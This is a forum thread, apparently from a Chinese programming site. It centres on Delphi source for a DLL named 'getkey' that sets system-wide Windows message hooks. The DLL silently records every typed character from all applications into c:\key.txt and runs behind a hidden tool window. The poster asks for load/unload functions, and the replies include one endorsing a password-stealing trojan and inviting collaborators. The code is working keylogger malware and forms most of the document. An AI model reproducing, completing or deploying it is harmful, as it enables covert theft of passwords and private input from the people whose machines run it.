library getkey;
uses
  SysUtils,
  windows,
  messages,
  Classes;{$R *.res}const
  HookMemFileName='HookMemfile.DTA';
  logfile='c:\key.txt';type
  PShared=^TShared;
  PWin=^TWin;
  TShared=record
    HHGetMsgProc:HHook;
    HHCallWndProc:HHook;
    Self:integer;
    Count:integer;
    hinst:integer
  end;
  TWin=record
    Msg:TMsg;
    wClass:TWndClass;
    hMain:integer;
  end;
var
  MemFile:THandle;
  Shared:PShared;
  Win:TWin;procedure SaveInfo (str:string);stdcall;
var
  f:textfile;
begin
  assignfile(f,logfile);
  if fileexists(logfile)=false then rewrite(f)
  else append(f);
  if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
  else write(f,str);
  closefile(f);
end;procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
  if (uMessage=WM_CHAR) and (lParam<>1) then
  begin
    SaveInfo(format('%s',[chr(wparam and $ff)]));
    inc(shared^.count);
    if shared^.Count >60 then
    begin
      SaveInfo('#13#10');
      shared^.Count:=0;
    end;
  end;
  if (uMessage=WM_IME_CHAR) then
  begin
    SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
    inc(shared^.Count,2);
  end;
end;function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
  pcs:PMSG;
  hd,uMsg,wP,lP:integer;
begin
  pcs:=PMSG(lParam);
  if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd <>0) then
  begin
    hd:=pcs^.hwnd;
    uMsg:=pcs^.message;
    wp:=pcs^.wParam;
    lp:=pcs^.lParam;
    HookProc(hd,uMsg,wp,lp);
  end;
  Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);
end;function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
  pcs:PCWPSTRUCT;
  hd,uMsg,wP,Lp:integer;
begin
  pcs:=PCWPSTRUCT(lParam);
  if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd <>0) then
  begin
    hd:=pcs^.hwnd;
    uMsg:=pcs^.message;
    wp:=pcs^.wParam;
    lp:=pcs^.lParam;
    HookProc(hd,uMsg,wp,lp);
  end;
  Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;procedure SetHook(fSet:boolean);
begin
  with shared^ do
  if fSet=true then
  begin
    if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
    if HHCallWndProc=0 then
    begin
      HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
      if HHCallWndProc=0 then
      begin
        HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
        if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
      end;
    end else
    begin
      if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
      if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
      HHGetMsgProc:=0;
      HHCallWndProc:=0;
    end;
  end;
end;procedure Extro;
begin
  UnmapViewOfFile(Shared);
  CloseHandle(MemFile);
end;function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT;stdcall;
begin
  Result:=DefWindowProc(hwnd,Msg,wParam,lParam);
  case Msg of
  wm_destroy:
    begin
      SetHook(False);
      ExitThread(0);
      freelibrary(shared^.hinst);
//      TerminateThread();
      //exitprocess(0);
    end;
  end;
end;procedure run;stdcall;
begin
  win.wClass.lpfnWndProc:=   @WindowProc;
  win.wClass.hInstance:=     hInstance;
  win.wClass.lpszClassName:='GetKey';
 // RegisterClass(win.wClass);
  win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
  FillChar(Shared^,SizeOf(TShared),0);
  shared^.self:=win.hmain;
  shared^.hinst:=hinstance;
  SetHook(true);
  postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
  while(GetMessage(win.Msg,win.hmain,0,0))do
  begin
    TranslateMessage(win.Msg);
    DispatchMessage(win.Msg);
  end;
end;procedure DllEntryPoint(fdwReason:DWORD);
begin
  case fdwReason of
  DLL_PROCESS_DETACH:
    Extro;
  end;
end;exports run;begin
  //建立内存映象文件,用来保存全局变量
  MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
  Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
  DLLProc:=@DllEntryPoint;
end.另:请高手帮忙加两个函数:Hookon Hookoff 用来动态加载和卸载此钩子

解决方案 »

  1.   

    晕,程序这么长,看晕啦
    up!sorry!
      

  2.   

    上面代码不是给出了吗?SetHook(True)/SetHook(False)
      

  3.   

    以上代码很简单,不涉及到什么复杂的算法之类,不能理解基本是关于一些API的使用问题,而查询MSDN应该是开发人员的基本素质
      

  4.   

    其实钩子很容易的,刚刚花3个小时研究了一下全局键盘钩子,So Easy! 楼上上的那位兄台说的窃取密码的木马倒是个不错的主意,还有Which愿意一起试试???